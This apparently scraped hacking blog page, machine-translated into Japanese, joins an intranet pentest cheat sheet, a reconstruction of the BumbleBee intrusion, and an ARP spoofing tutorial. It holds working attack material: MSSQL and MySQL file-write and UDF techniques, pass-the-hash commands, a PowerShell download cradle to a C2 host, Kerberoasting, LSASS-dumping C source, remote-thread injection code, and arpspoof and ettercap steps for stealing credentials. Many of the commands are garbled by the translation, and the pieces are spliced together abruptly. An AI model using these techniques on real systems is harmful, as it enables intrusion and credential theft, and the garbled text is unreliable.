Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863119636

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00環境

LinuxホストWWW許可ホストは外部ネットワークから出ることができませんフォワードプロキシはセグメントBを使用できませんイントラネット

0x01情報を収集

f-scrack.py redis、esなどを取得します。

PS: Scrack.pyのMSSQLモジュールブラストは不正確です。自分で簡単なものを書くことができます

python scrack.py -h 10.111.1.1-10.111.2.254 -P 3306,5432 -M 200 -T 6

1.redis

多くのキーがあるときはキーを使用しない *

基本情報:マスター、数量、バージョン番号を表示します

スキャンを使用してkeys:スキャン0マッチ *カウント100を表示

タイプ:タイプキーを表示します

ハッシュタイプ: HGETALLキー

2.mysql

Windowsでは、まずプラグインディレクトリ:に書き込むことができるかどうかをテストできます

@@Plugin_dirを選択します。

outfile plugin_dirにhelloを選択してください。次に、MSFに付属のUDFを使用し、最初に16進数に変換してから、プラグインディレクトリ:にエクスポートします

テストを使用します。

@a=concat( ''、0xhex_of_exe);

テーブルゴーストを作成します(data longblob);

ゴースト値に挿入( '');

Ghost Set data=@a;

GhostからDumpfile Dirにデータを選択します。

CREATE FUNCTION SYS_EVAL RETURNS STRING SONAME 'SYS_EVAL.DLL';

ドロップ関数SYS_EVAL; //使用後に削除し、良い習慣を開発し、最初にSYS_EVALを選択します。 sys_execを使用しないようにしてください(クラッシュします)

3.mssql

MSSQLブラストは、動きが比較的大きくなるため、可能な限り背面に配置する必要があります。

MSSQLブラストが成功した後、CLRを使用してアクセス許可を取得することをお勧めします。 `xp_cmdshell`を直接使用すると死に、360はそれを傍受します。

MSSQLのユーザーパスワード、Certutil、およびその他のツールが傍受または警戒されることが知られています。 MSSQLが提供するツールを使用して、ハードディスクに書き込みます。

ここで、ストアドプロシージャ:を開きます

SP_CONFIGURE 'Advanced Optionsを表示'、1;

行く

再構成;

行く

SP_CONFIGURE 'OLE Automation Procedures'、1;

行く

再構成;

mssqlは大きなファイルを書き込みます

たとえば、exeおよびその他のものが最初にhexに変換され、次に:ファイルに書き込まれます

xxd -plain /tmp/test.exe | tr -d '\ n' /tmp/dll.hex

@hexstring varchar(max)を宣言します。

@hexstring='変換後のhexを設定します';

@file varbinary(max)を宣言します。

@file=(select cast( '' as xml).value( 'xs:hexbinary(sql:variable(' @hexstring ')、sql:column(' t.pos ')))'、 '' varbinary(max) ')

from(select searce substring(@hexstring、1、2)の場合、 '0x' 'then 3 else 0 end)as t(pos));

@fileを選択します;

@init intを宣言;

@filepath nvarchar(4000)=n'c: \ 22.exe ';

exec sp_oacreate 'adodb.stream'、@init output; - 作成されたインスタンス

exec sp_oasetproperty @init、 'type'、1;

exec sp_oamethod @init、 'open'; - メソッドを呼び出します

exec sp_oamethod @init、 'write'、null、@file; - メソッドを呼び出します

exec sp_oamethod @init、 'savetofile'、null、 @filepath、2; - メソッドを呼び出します

exec sp_oamethod @init、 'close'; - メソッドを呼び出します

exec sp_oadestroy @init; - リソース

4.MSSQLバックアップ

バックアップデータベースDBを閉じました

Disk='C: \ Windows \ temp \ db.bak'圧縮、init、stats=5;ボリューム圧縮rar.exe a -m0 -v100m c: \ windows \ temp \ db.split c: \ windows \ tasks \ db.bak

c: \\ windows \ temp \\ db.split.rar /var /tmp /

6.pth

wmiwmic /node:192.168.158 /user3:pt007 /password:ADMIN123プロセスコールの作成コールの作成'CMD.EXE /C ipconfigd: \ result.txt 'wmiexec.vbs:を使用することをお勧めします

https://github.com/l3m0n/pentest_study/blob/master/tools/wmiexec.vbs

cscript C: \ windows \ tasks \ aliwmi.vbs/cmd ip 'c: \ windows \ system32 \ calc.exe'msfuse exploit/windows/smb/psexec

オプションを表示します

RHOST 192.168.81.129を設定します

SMBPASS 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BFを設定します

SMBUSER管理者を設定します

オプションを表示します

runmimikatz || Cobalt strikemimikatz.exe特権:Debug 'sekurlsa:pth /domain: /user3360administrator /ntlm:2d20d252a479f485cdf5e171d93985bf /run:cmd.exe '//pass hashpsexecpsecec /accepteula //

sc delete psexesvc

PSEXEC \\ 192.168.1.185 -U PT007 -P Admin123 CMD.Exe

psexec.vbscscript psexec.vbs 192.168.1.158 pt007 admin123 'ipconfig'リモートコマンド実行scnet seve \\ 192.168.17.138 \ c $ 'admin123' /user:pt007

正味使用

dir \\ 192.168.17.138 \ c $

Test.exe \\ 192.168.17.138 \ c $をコピーします

sc \\ 192.168.17.138 Create test binpath='c: \ test.exe'

sc \\ 192.168.17.138テスト開始

Sc \\ 192.168.17.138 Del Test

Windows :https://xz.aliyun.com/t/5957でCMDをリモートで実行する9つの方法

0x03アクセスは拒否されます

RID 500ではないコンピューターでは、使用されるトークンは、WMI、PSEXEC、またはその他の方法を使用するかどうかにかかわらず、中程度のトークンです。 wmiexecを使用する場合、アクセスが拒否されることが修正されます

ハッシュをrawったとき、レジストリを変更することができ、すべてのローカル管理者グループメンバーが持続の手段としてリモートで接続できるようにします。

Reg add hklm \ software \ microsoft \ windows \ currentversion \ policies \ system /v localaccounttokenfilterpolicy /t reg_dword /d 1 /f ### rdp's pth

クロールハッシュをクラックできない場合、ハッシュを使用してRDPにリモートでログインすると、「制限された管理モード」を有効にするためにログインしているシステムが必要になります。 Windows 7およびWinserver 2008には、2871997と2973351プディングの設置が必要です。

1。 RDPを開始

reg 'hklm \ system \ currentControlset \ control \ターミナルサーバー' /v fdenytsconnections /t reg_dword /d 00000000 /f

reg add 'hkey_local_machine \ system \ currentControlset \ control \ Terminal Server \ Winstations \ rdp-tcp' /v portnumber /t reg_dword /d0x00000d3d /f#ポート3389を聞いてください

3389をオンにします

wmic /namespace: \\ root \ cimv2 \ emerinalservices path win32_terminalservicesetting where(__class!='')call setallowtsconnections 1

2。制限付き管理モードをオンにします

reg reg add 'hklm \ system \ currentControlset \ control \ lsa' /v disable-sustricedadmin /t reg_dword /d 00000000 /f 010-10 #### dbeaver

dbeaver6構成ファイル(ストレージの場所と復号化方法は、バージョンによって異なります):

#PassWord暗号化されたストレージ場所:

c: \ users \ user \ appdata \ roaming \ dbeaverdata \ workspace6 \ general \ .dbeaver \ curdentiences-config.json

#URLおよびユーザー名:

c: \ uses \ user \ appdata \ roaming \ dbeaverdata \ workspace6 \ general \ .dbeaver \ data-sources.json Decryption script:https://gist.github.com/felipou/50b60309f9f9b70b1e28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd8e

資格情報をダウンロードした後、pythonを使用して:python decrypt.py credentivelys-config.jsonを復号化し、次に、復号化されたIDに基づいて、Data-Sources.jsonの対応するIPとユーザー名を検索します。

パスワードの古いバージョンは、C: \ users \ users \ .dbeaver4 \ general \ .dbeaver-data-source.xmlに保存されています。http://DBEAVER-PASSWORD-DECRYPTER.S3-WEBSITE-US-WEST-2.AMAZONAWS.COM/を使用して、オンライン復号化を直接使用できます。

3。ファイアウォールルールを追加

対応するIP情報とプライベートキーアドレスを備えた.iniファイルがあります

ストレージの古いバージョン: C: \ users%username%\ appdata \ roaming \ mobaxterm

2020バージョン: c: \ users%username%\ documents \ mobaxterm

0x04ダンプパスワード

Windowsの下の構成ファイルはこの場所にあります:

%appdata%\ code \ user \ settings.jsonは、構成ファイルに基づいてメモやSSHなどのストレージ場所を見つけることができます

0x05 MOBAXTEM

マスターサンハオはそれをとても言った、私はfirepwd.py:を使用することを選んだ

Firefox構成ファイルディレクトリ:

%AppData%\ Mozilla \ firefox \ profiles \

0はじめに

実践的なケースの修復3《BumbleBee Roasts Its Way To Domain Admin》記事では、浸透ケースについて詳しく説明していますが、記事の組織構造は、タイムラインロジックに従って編成されるのではなく、ATTCKフレームワークに基づいています。したがって、浸透担当者が以前のプロセスとその後のプロセスを理解し、学習することは困難です。ここでは、タイムラインに従って実際の戦闘を整理して復元します。

《BumbleBee Roasts Its Way To Domain Admin》元のリンク

1日1(1日)

1.1サンプル配信

メールのダウンロードリンクを介して配信されるターゲット環境のマシンのようです。このサンプルはパスワードフリーパッケージです。減圧後、ファイルbc_invoice_report_corp_46.isoをリリースします。このISOファイルをマウントすると、LNKファイルドキュメントがリリースされ、このショートカットをダブルクリックするときに隠された悪意のあるローダーが実行されます。ショートカットの目標は次のとおりです。

c: \ windows \ system32 \ cmd.exe /c start rundll32 namr.dll、italjob

115uaelhnd13491.png

1.1.1 rundll32分析

rundll32を使用してロードおよび実行することは、一般的な侵入ルーチンです。 DLLでプログラムを実行することもできます。また、通常、シェルを取得するために使用することもできます。

Exploit/Windows/SMB/SMB_Deliveryを使用します

SRVHOST 10.X.X.Xを設定します

エクスプロイト

1qblzisafbs3492.png

qdlojni4k1b3493.png

1.2悪意のあるプログラムのロードバンブルビー

ローダーバンブルビーはコバルトストライクセッションを返します。攻撃者は、このコバルトストライクシェルを使用してWab.exeを放出します。実行可能ファイルにはWMI実行があります。

c: \ windows \ system32 \ webm \ wmiprvse.exe -secured -embedding

vb5ffd4fz1w3494.png

wab.exeは、他の2つのプロセスExplorer.exeおよびrundll32.exeに悪意のあるコードを注入します。元のテキストによると、OpenProcess、VirtualAlloc、WriteProcessMemory、CreatereMotEthreadなどの古典的なWindowsシステムコールAPIを使用して、リモートスレッドインジェクションとプロセスインジェクションを使用します。これらの説明によると、攻撃者には少なくとも管理者の権限があります。一般に、彼が管理者の権限を持っている場合、彼はシステムの権限を持っています。記事の説明から判断すると、攻撃者はGetSystemを使用して権限を高めます。リモートスレッドインジェクションの例のコードは次のとおりです。

bool createremotethreadinjectdll(dword dwprocessid、char* pszdllfilename){

hprocess=nullを処理します。

dword dwsize=0;

lpvoid pdlladdr=null;

farproc pfuncprocaddr=null;

hprocess=:openprocess(process_all_access、false、dwprocessid); //プロセスを開いてプロセスハンドルを取得します

dwsize=1+ :3360lstrlen(pszdllfilename); //DLLサイズを取得します

PDLLADDR=:VIRTUALALLOCEX(HPROCESS、NULL、DWSIZE、MEM_COMMIT、PAGE_READWRITE); //アプリケーションの//

:WRITEPROCESSMEMORY(HPROCESS、PDLLADDR、PSZDLLFILENAME、DWSIZE、NULL); //メモリにDLLを書き込みます

pfuncproaddr=:3360GetProCADDRESS(:GETMODULEHANDLE( 'Kernel32.dll')、 'loadLibiary'); //関数loadlibraryaaaの関数アドレスを取得します

ハンドルhremotethread=:3360createremotethread(hprocess、null、0、(lpthread_start_routine)pfuncprocaddr、pdlladdr、0、null); //リモートスレッドを作成する

:CloseHandle(hprocess);

trueを返します。

}

1.3ホスト情報を収集した

攻撃者は、さまざまなコマンドを使用して、オペレーティングシステム、ネットワーク、ユーザー、ソフトウェア、プロセス、ドメインなどに関する情報を収集します。

IPCONFIG /ドメインを含むすべての#Getネットワーク情報

ping -n 1 [domain] #testドメイン接続

ネットグループ「ドメイン管理者」 /ドメイン#ゲットドメイン管理グループメンバー

nslookup x.x.x.x#get x.x.x IPアドレス

タスクリスト#getプロセス情報

SystemInfo #getシステム情報

WMIC製品は、名前、バージョン#ソフトウェア情報を取得します

wmic /node'ledactedプロセスリストブリーフ#getプロセス情報

ネットビュー\\ redacted \ files $ /すべて#columnリモートサーバーファイル共有ディレクトリ

dir \\ redacted \ c $ \ #column cディスクディレクトリ

TaskList /v /s x.x.x.x #remotely x.x.x.xプロセスの詳細を取得します

正味使用

ネットグループ「ドメインコンピューター」 /ドメイン

ネットグループ「エンタープライズ管理者」 /ドメイン

ネットグループ「ドメインコンピューター」 /ドメイン

ネットローカルグループ管理者

nltest /dclist

nltest /domain_trusts

ping -n 1 remote_ip

上記で実行されたコマンドによると、攻撃者はリモートサーバーX.X.X.Xの権限またはユーザー名とパスワードを取得しました。

1.4サーバーに水平に移動し、情報を収集し続ける

元の説明では、ローカル管理アカウントを使用してRDPプロトコルを介してサーバーに水平に移動し、Anydesk.exeをバックドアとしてリリースし、Adfind.exeを使用して情報を収集し始めます(説明により、サーバーはドメイン内にあるようです):

cmd.exe /c af.exe -f '(objectcategory=person)' ad_users.txt

cmd.exe /c af.exe -f 'objectcategory=computer' ad_computers.txt

cmd.exe /c af.exe -sc trustdump trustdump.txt

cmd.exe /c af.exe -gcb -sc trustdump trustdump.txt

2日目(2日目)

2.1サーバーに関する情報を収集し続けます

攻撃者は、RDPとアップロードされたVulnReconを使用してサーバーにログインし続けました。これは、Windowsマシンの上昇する許可へのパスを識別するために特別に設計されたツールです。

3日目(4日目)

3.1充電されたホストに関する情報を収集し続けます

攻撃者は、充電されたホストおよび環境上の複数のマシンにVulnReConツールとSysInternalsツールツールキットをアップロードし、VulnReCon、Adfind、Procdump、およびその他のツールを使用して情報を収集し続けました。その中で、彼らはリモートサービスを使用してProcDumpを実行してLSASS.exeのメモリを抽出して資格情報を取得し、説明に従って、少なくとも複数のホストと少なくとも1つのサーバーへの権限を取得しました。現在のところ、経営陣やより高い許可にアクセスできないようです。 Adfindを使用するプロセスは、元の制御ホストで発生しますが、もちろん、新しい水平に移動したホストでは除外されていません。

cmd.exe /c adfind.exe -f '(objectcategory=person)' ad_users.txt

cmd.exe /c adfind.exe -f 'objectcategory=computer' ad_computers.txt

cmd.exe /c adfind.exe -f '(objectcategory=guristanimationalunit)' ad_ous.txt

cmd.exe /c adfind.exe -sc Trustdump Trustdump.txt

3.1.1 VulnReCon分析

Vulnreconには、実行可能ファイルとDLL、つまりVulnrecon.exeおよびvulnrecon.dllがあります。これは、特権エスカレーションと情報収集の方法を列挙するために使用されます。元の制御ホストにアップロードするカスタムツールのようです。もちろん、水平に移動する新しいホストでは除外されていません。

#VulnRecon.dll PDB: D: \ a \ _Work \ 1 \ s \ artifacts \ obj \ win-x64.Release \ corehost \ cli \ apphost \ standalone \ reliey \ apphost.pdb

#vulnrecon.exe PDB: d: \ work \ rt \ vulnrecon \ vulnrecon \ obj \ release \ net5.0 \ vulnrecon.pdb

# 指示

Vulnrecon.exe -V

vulnrecon.exe -o

vulnrecon.exe -findvulnerability

Vulnrecon.exe -i

Vulnrecon.exe -M

cmd.exe /c vulnrecon.exe -findvulnerability c: \ programdata \ log.txt

cmd.exe /c vulnrecon.exe -i c: \ programdata \ 1.txt

cmd.exe /c vulnrecon.exe -o C: \ programdata \ out.txt

vqscoyzduhf3495.png

31sjolt4qd03496.png

dmmjtvxsdoc3497.png

電力のエスカレーションは、元の充電されたホストで発生するLSASSメモリを取得するためにprocdumpを実行することであるようです。

### 3.2 LSAの資格情報を取得します。説明に従ってダンプされたファイルは、プログラムダタに保存されます。ネット使用およびその他の方法を使用して取得でき、亀裂にMimikatzまたはPypykatzを使用します。これらのプロセスは、元の充電されたホストから発見され、横方向に移動した被害者ホストとサーバーで発生します。

c: \ programdata \ procdump64.exe -accepteula -ma lsass.exe c: \ programdata \ lsass.dmp

4日目(7日目)

4.1充電されたサーバーに関する情報を収集し続けます

攻撃者は、Vulnreconを使用してサーバー上の情報を収集し続け、シートベルトツール(一般的に使用される情報収集ツール)も使用しました。説明によると、サーバーのローカル管理者特権が使用されています。

seatbelt.exe -group=all -outputfile='c: \ programdata \ seatinfo.txt'

vulnrecon.exe -o

Vulnrecon.exe -V

Vulnrecon.exe -M

cmd.exe /c vulnrecon.exe -findvulnerability c: \ programdata \ log.txt

5日目(11日目)

5.1充電されたホストにシェルをバウンスします

攻撃者は、ホストでPowerShellコマンドを実行し、ファイルを実行するコンテンツをダウンロードしたと常に非難されています。

c: \ windows \ system32 \ cmd.exe /c powershell.exe -nop -w hidden -c 'iex((new -Object net.webclient).downloadString(' http://a.b.c.d:80 /a '))'

Aで見つかったコバルトストライクのデフォルト構成文字MZREによれば、これはC2アドレスに接続する命令であると結論付けることができます。攻撃者は、攻撃者が制御するC2の充電されたホストを取得します。

![](https://img2022.cnblogs.com/blog/1070321/202208/1070321-20220817170635532-83148076.png)その後、他のプロセスへの投入を開始します。元の説明によると、svchost.exeなどのいくつかのプロセスを注入する必要があります。その後、攻撃者はPowerShellモジュールInvoke-Kerberoastを実行し、KerberoAsting攻撃を開始しました。この場所は、請求されたホストからまだ開始されています。

#Parent Process svchost.exe -k Clipboardsvcgroup -s Cbdhsvc

IEX(new-Object net.webclient).downloadString( 'http://127.0.0.1336036177/'); invoke -kerberoast -outputformat hashcat | fl | Out -File -Filepath C: \ ProgramData \ REDACTED \ PS.TXT -APPEND -FORCE -ENCODING UTF8

#出力はハッシュカットモードであり、攻撃はハッシュカットを使用してブルートフォースクラッキングである必要があります

5.1.1 Kerberosting攻撃分析

KerberoAsting Attack Analysisは、TGS-KerberoAstingとAs-KerberoAstingの2つのタイプに分けられます。 Rubeus.exe、MSF、PowerShellを使用して実行できます。 Net-ntlmhashを取得するものは、Hashcatおよびその他のツールを使用してNTLMHASHまたはパスワードを取得することができます。

p0mrnvfyfzv3498.png

5.2資格抽出にMinidumpを使用

攻撃者は、Kasperskyを回避できる資格抽出方法であるMinidumpを使用し始めました。この場所は、請求されているホストからまだ開始されます。

#Parent Process svchost.exe -k Clipboardsvcgroup -s Cbdhsvc

cmd.exe /c rundll32.exe c: \ windows \ system32 \ comsvcs.dll、minidump 968 c: \ programdata \ redacted \ lsass.dmp full

5.2.1ミニダンプ分析

攻撃者は、Kasperskyを回避できる資格抽出方法であるMinidumpを使用し始めました。この場所は、請求されているホストからまだ開始されます。

#include stdio.h

#include windows.h

#include tlhelp32.h

typedef hresult(winapi* _minidumpw)(dword arg1、dword arg2、pwchar cmdline);

int getlsasspid(){

ProcessEntry32エントリ;

entry.dwsize=sizeof(processentry32);

hsnapshot=createToolHelp32SNAPSHOT(TH32CS_SNAPPROCESS、NULL);

if(process32first(hsnapshot、entry)){

while(process32next(hsnapshot、entry)){

if(wcscmp(entry.szexefile、l'lsass.exe ')==0){

return entry.th32processid;

}

}

}

CloseHandle(hsnapshot);

0を返します。

}

void getdebugprivilege()

{

bool fok=false;

htokenを処理します。

if(openProcessToken(getCurrentProcess()、token_adjust_privileges、htoken)))

{

token_privileges tp;

tp.privilegecount=1;

lookupprivilegevalue(null、se_debug_name、tp.privileges [0] .luid);

tp.privileges [0] .attributes=true? se_privilege_enabled : 0;

調整tokenprivileges(htoken、false、tp、sizeof(tp)、null、null);

fok=(getLasterRor()==error_success);

CloseHandle(htoken);

}

}

void dumplsass()

{

wchar_t ws [100];

_minidumpw minidumpw;

minidumpw=(_minidumpw)getProcAddress(loadLibrary(l'Comsvcs.dll ')、' minidumpw ');

swprintf(ws、100、l '%u%hs'、getlsasspid()、 'c: \\ windows \\ temp \\ temp.bin full');

getDebugprivilege();

Minidumpw(0、0、WS);

}

bool apientry dllmain(hmodule hmodule、

dword ul_reason_for_call、

lpvoid lpresived

))

{

switch(ul_reason_for_call)

{

ケースdll_process_attach:

dumplsass();

壊す;

ケースdll_thread_attach:

ケースdll_thread_detach:

ケースdll_process_detach:

壊す;

}

trueを返します。

}

私はこのファイルを自分で編集しました。私はここにいます。元Aチームのボスに、浸透技術のビジョンと、喜んで共有してくれる外国のXPN巨人の精神に感謝します。

23ri42kloo03499.png

コンパイルと使用の参照

5.3充電されたホストの情報収集を続けます

Adfindを使用して、最初に充電されたホストに関する情報を収集し続けています。

cmd.exe /c adfind.exe -f '(objectcategory=person)' ad_users.txt

cmd.exe /c adfind.exe -f 'objectcategory=computer' ad_computers.txt

cmd.exe /c adfind.exe -sc Trustdump Trustdump.txt

5.4最初の充電されたマシンでPowerShellを再度実行します。

攻撃者は、ホストでPowerShellコマンドを実行し、ファイルを実行するコンテンツをダウンロードしていると常に非難されています。

c: \ windows \ system32 \ cmd.exe /c powershell.exe -nop -w hidden -c 'iex((new -Object net.webclient).downloadString(' http://a.b.c.d:80 /a '))'

上記のプロセスは5.1で詳細に説明されており、繰り返されません。

5.5その他のマシンに関する情報収集

その他のマシンで次のコマンドを実行します。

c: \ windows \ system32 \ cmd.exe /cネットアカウント /ドメイン

c: \ windows \ system32 \ cmd.exe /cネットビュー /すべて

c: \ windows \ system32 \ cmd.exe /c hoami

c: \ windows \ system32 \ cmd.exe /cネットビュー\\ x.x.x.x \ /all

c: \ windows \ system32 \ cmd.exe /c wmic /node:x.x.x.xプロセスリストブリーフ

c: \ windows \ system32 \ cmd.exe /c net ''ドメインコントローラー ' /ドメイン

c: \ windows \ system32 \ cmd.exe /c net nltest /dclist: [domain]

5.6 2つのバッチスクリプト

攻撃者は、環境内の他のターゲットを分析および発見できる2つのスクリプトS.BATとW.BATをアップロードおよび実行します。

#s.bat

エコーオフ

for /f %% i in(servers.txt)for /f 'tokens=2 delims=[]' %% j in( 'ping -n 1 -4' %% i '')do @echo %% j serv.log

#W.BAT

@ECHOオフ

for /f %% i in(workers.txt)for /f 'tokens=2 delims=[]' %% j in( 'ping -n 1 -4' %% i '')do @echo %% j work.log.log

5.7 last

2つのスクリプトが実行された後、最初に充電されたマシンで新しいコバルトストライクセッションが再び実行されます。その後、攻撃者はサービスアカウントを使用して水平方向に移動し、ドメインコントロールでコバルトストライクセッションを実行します。元の説明によると、これは弱いパスワードであり、TGS-KerberoAstingを割るためにHashCATによって得られたNet-NTLMハッシュ値をクラックする操作によって非難されます。攻撃者は、ドメインコントロールにLSASSを投棄します。 exeのプロセスメモリは、ドメイン管理権を取得し、ドメインコントロールを突破できます

元の出典:https://www.cnblogs.com/kevingeorge/p/16595912.html

arp攻撃

契約の紹介

ARPのフルネームはアドレス解像度プロトコルであり、アドレス解像度プロトコルです。 IPアドレスに基づいて物理アドレスを取得するのは、TCP/IPプロトコルです。ホストが情報を送信すると、ターゲットIPアドレスを含むARP要求をネットワーク上のすべてのホストにブロードキャストし、ターゲットの物理アドレスを決定するための返品メッセージを受信します。返品メッセージを受信した後、IPアドレスと物理アドレスはネイティブARPキャッシュに保存され、一定期間予約されます。 ARPキャッシュは、リソースを保存するために次にリクエストしたときに直接照会されます。

ARPアドレス解像度プロトコルは、ネットワーク内のさまざまなホスト間の相互信頼に基づいています。ネットワーク上のホストは、ARP応答メッセージを個別に送信できます。他のホストが返信メッセージを受信した場合、メッセージの信頼性を検出せず、ネイティブARPキャッシュに記録します。したがって、攻撃者は特定のホストに擬似ARP返信メッセージを送信することができます。そのため、送信する情報は、ARPのスプーフィングを構成する予想ホストまたは間違ったホストに到達できません。

動作原理

環境の仮定

ホストA:

IPアドレス:192.168.1.1MACアドレス:0A-11-22-33-44-01HOST B:

IPアドレス:192.168.1.2MACアドレス:0A-11-22-33-44-02

ワークフロー

ステップ1:ホストAのルーティングテーブルコンテンツによると、ホストBにアクセスするために使用されるフォワーディングIPアドレスが192.168.1.2であると判断し、ホストAはローカルARP CACHのホストBの一致MACアドレスをチェックします。ステップ2:ホストAがARPキャッシュにマッピングが見つからない場合、192.168.1.2のハードウェアアドレスに尋ねるため、ARPリクエストフレームが拡大します。ローカルネットワーク上のすべてのホストに再生すると、ソースホストAのIPアドレスとMACアドレスがARPリクエストに含まれています。ローカルネットワーク上の各ホストはARP要求を受信し、独自のIPアドレスと一致するかどうかを確認します。ホストが、要求されたIPアドレスが独自のIPアドレスと一致しないことを発見した場合、ARPリクエストを破棄します。ステップ3:ホストBは、ARP要求のIPアドレスが独自のIPアドレスと一致し、ホストAのIPアドレスとMACの位置がローカルARPキャッシュに追加されることを決定します。ステップ4:ホストBは、MACアドレスを含むARP応答メッセージをホストAに直接戻します。ステップ5:ホストAがホストBから送信されたARP応答メッセージを受信すると、ホストBのIPおよびMACアドレスマッピングでARPキャッシュを更新します。ローカルキャッシュには生涯があります。寿命が終了すると、上記のプロセスが再び繰り返されます。ホストBのMACアドレスが決定されると、ホストAはIP通信をホストBに送信できます。

キャッシュメカニズム

ARPキャッシュは、IPアドレスとMacアドレスを保存するために使用されるバッファーです。そのエッセンスは、IPアドレス-MACアドレスの対応するテーブルです。テーブル内の各エントリは、ネットワーク上の他のホストのIPアドレスと対応するMACアドレスを記録します。各イーサネットまたはトークンリングネットワークアダプターには、独自のテーブルがあります。アドレス解像度プロトコルが既知のIPアドレスノードのMACアドレスについて尋ねられると、最初にARPキャッシュで表示されます。存在する場合、対応するMacアドレスを直接返します。存在しない場合は、LANを照会するARPリクエストを送信します。ブロードキャストボリュームを最小限に抑えるために、ARPは将来の使用のためにMACアドレスマッピングへのIPアドレスのキャッシュを維持します。

ARPキャッシュには、動的および静的プロジェクトを含めることができます。動的プロジェクトは自動的に追加され、時間とともに削除されます。各動的ARPキャッシュアイテムの潜在的なライフサイクルは10分です。新しく追加されたアイテムはタイムスタンプされています。プロジェクトが追加されてから2分以内に使用されない場合、プロジェクトは有効期限が切れ、ARPキャッシュから削除されます。プロジェクトがすでに使用されている場合、さらに2分間のライフサイクルが受信されます。プロジェクトが常に使用されている場合、10分の最長のライフサイクルまでさらに2分間のライフサイクルが受信されます。静的プロジェクトは、コンピューターが再起動されるまでキャッシュに残ります。

arpスプーフィング

ARPアドレス解決プロトコルは、ネットワーク内のさまざまなホスト間の相互信頼に基づいています。その誕生により、ネットワークはより効率的に実行されますが、欠陥もあります。 ARPアドレス変換テーブルは、コンピューターのキャッシュメモリの動的な更新に依存し、キャッシュメモリの更新は更新サイクルによって制限され、最近使用されたアドレスのマッピング関係テーブルエントリのみが保存されます。これにより、攻撃者は、キャッシュメモリがテーブルエントリを更新して攻撃を実現する前に、アドレス変換テーブルを変更する機会を与えます。

ARPリクエストはブロードキャストフォームで送信されます。ネットワーク上のホストは、ARP応答メッセージを個別に送信できます。他のホストが返信メッセージを受け取ったとき、メッセージの信ity性を検出し、ローカルMACアドレス翻訳テーブルに記録しません。このようにして、攻撃者はターゲットホストに擬似ARP応答メッセージを送信し、それによりローカルMACアドレステーブルを改ざんします。 ARPのスプーフィングにより、ターゲットコンピューターがゲートウェイと通信できなくなる可能性があり、通信のリダイレクトにもつながります。すべてのデータは攻撃者のマシンに渡されます。攻撃者は、ターゲットとゲートウェイの間でデータを転送します。これは、ターゲットの通常のインターネットアクセスに影響を与えることなくターゲットを聴く目的を達成するために、「仲介者」として使用できます。

欺ceptionの実践

基本環境

攻撃ホスト:192.168.174.129 00:0C:29:39:BE:EB正常ホスト:192.168.174.170 00:0C:29336008:AD:EBゲートウェイアドレス:192.168.174.2

切断攻撃

ステップ1:攻撃ホストのポート転送を閉じる

#終了

echo 0/proc/sys/net/ipv4/ip_forward

#許可する

Echo 1/proc/sys/net/ipv4/ip_forward

1049983-20230129140559574-267061974.jpg

ステップ2:通常のホストで現在のARP解像度リストを表示します

1049983-20230129140600284-753195515.jpg

ステップ3:通常のホストでバイドゥにピン留めします

ping www.baidu.com -T

1049983-20230129140600986-1420595615.jpg

通常、Baiduにアクセスできます。

1049983-20230129140601711-377836780.jpg

ステップ4:次に、ネットワークは攻撃ホストのAprspoofによって切り取られます

usage: arpspoof [-i interface] [-c own | host | blos] [-t target] [-r] host

#パラメーター説明:

- 使用するインターフェイスを指定します

-C ARP構成を復元するときに使用されるMACアドレスを指定します。デフォルトは元のMacを使用することです(つまり、ARPSPOOFコマンドを停止した後、デフォルトで脱着します)

-t毒されるホストを指定します。指定されていない場合、LANの下のすべてのホストにデフォルトです

-R双方向中毒(宿主とターゲット)、したがってデータの双方向キャプチャ(-Tが同時に指定されている場合にのみ有効)

#executionの例:

arpspoof -i eth0 -t 192.168.174.170 192.168.174.2

1049983-20230129140602635-1232145428.jpg

ステップ5:Pingリクエストがタイムアウトし、ブラウザがwww.baidu.comを開くことができないことがわかります。同時に、ARP解像度テーブルをチェックすると、ゲートウェイのMACアドレスが正常にスプーフィングされ、攻撃者のMACアドレスに設定されていることがわかります。

1049983-20230129140603363-1270054129.jpgstep 6:その後、攻撃が中断されました(以前に-cパラメーターを指定しなかったため、元のMacアドレスが復元されます)1049983-20230129140604067-1512025892.jpg

pingが通常に戻り、ページとARPテーブルも通常に戻ることがわかります

1049983-20230129140604705-349404777.jpg

画像データ

ステップ1:ポート転送をオンにし、マシンがルーターのようなデータ情報を転送できるようにします

Echo 1/proc/sys/net/ipv4/ip_forward

1049983-20230129140605296-780391879.jpg

ステップ2:通常のホストで現在のARP解像度リストを表示します

1049983-20230129140605937-5170927.jpg

ステップ3:通常のホストでWebページにアクセスする

1049983-20230129140606648-1919331429.jpg

usage: arpspoof [-i interface] [-c own | host | blos] [-t target] [-r] host

#パラメーター説明:

- 使用するインターフェイスを指定します

-C ARP構成を復元するときに使用されるMACアドレスを指定します。デフォルトは元のMacを使用することです(つまり、ARPSPOOFコマンドを停止した後、デフォルトで脱着します)

-t毒されるホストを指定します。指定されていない場合、LANの下のすべてのホストにデフォルトです

-R双方向中毒(宿主とターゲット)、したがってデータの双方向キャプチャ(-Tが同時に指定されている場合にのみ有効)

#executionの例:

arpspoof -i eth0 -t 192.168.174.170 192.168.174.2

1049983-20230129140607359-1535379602.jpg

ステップ5:その後、DriftNetはWebサイトにアクセスする際に被害者ユーザーの残存画像データ情報を取得します

1049983-20230129140608085-1225498038.jpg 1049983-20230129140608818-1299779077.jpg 1049983-20230129140609542-1723239514.jpg

ログイン資格情報

ステップ1:ここでは、上記の画像データパーツを拡張し続けます。EtterCapを使用して攻撃ホストの通信データをキャプチャします

eTtercap -tq -i eth0

1049983-20230129140610245-861224181.jpg

ステップ2:サードパーティFTPサービスをシミュレートします

1049983-20230129140610921-563578121.jpg

ステップ3:ユーザーはサードパーティのFTPサービスにアクセスし、認証します

1049983-20230129140611552-869109915.png

ステップ4:攻撃者はユーザーのアカウントパスワード情報を正常にキャプチャします

1049983-20230129140612222-670821545.jpg

スプーフィング拡張機能

ここでは、いくつかの一般的に使用されるARPスプーフィング方法とWindowsでのARPスプーフィングツールの使用を追加します〜

netfuke

3

テスト環境

